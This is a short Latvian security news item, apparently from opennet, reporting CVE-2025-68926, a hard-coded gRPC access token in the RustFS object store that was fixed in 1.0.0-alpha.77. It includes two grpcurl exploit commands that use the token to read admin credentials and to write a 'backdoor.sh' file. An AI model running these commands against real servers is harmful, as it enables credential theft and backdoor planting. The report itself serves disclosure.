RustFS atklāts iepriekš noteikts kodēts piekļuves tokens

Projektā RustFS, kas attīsta S3 saderīgu sadalītu objektu krātuvi, kas uzrakstīta Rust valodā, atklāta ievainojamība (CVE-2025-68926), kas atgādina aizmugures ieeju. Problēma ir saistīta ar stingri iekodētu piekļuves tokenu, kas ļauj pieslēgties tīkla pakalpojumam, izmantojot gRPC protokolu, norādot 'authorization' galvenē vērtību 'rustfs rpc'. Tokens bija iekļauts gan servera, gan klienta kodā. Problēmai piešķirts kritisks bīstamības līmenis (9.8 no 10).

Uzbrucējs, kam ir piekļuve gRPC tīkla portam, varēja izmantot norādīto tokenu, lai veiktu privileģētas darbības ar krātuvi, tostarp dzēst datus, manipulēt ar lietotāju akreditīviem un mainīt klastera iestatījumus. Vai piekļuva Tcp portam 9000 visos tīkla interfeisos. Ievainojamība novērsta RustFS 1.0.0-alpha.77 izlaidumā. grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"access_key": "admin"}' \ localhost:9000 node_service.NodeService/LoadUser grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"volume": "config", "path": "backdoor.sh", "buf": "…"}' \ localhost:9000 node_service.NodeService/WriteAll

Avots: opennet.lv

Iegādājieties uzticamu tīmekļa hostingu ar DDoS aizsardzību, VPS VDS serveriem 🔥 Iegādājieties uzticamu tīmekļa hostingu ar DDoS aizsardzību, VPS VDS serveriem | ProHoster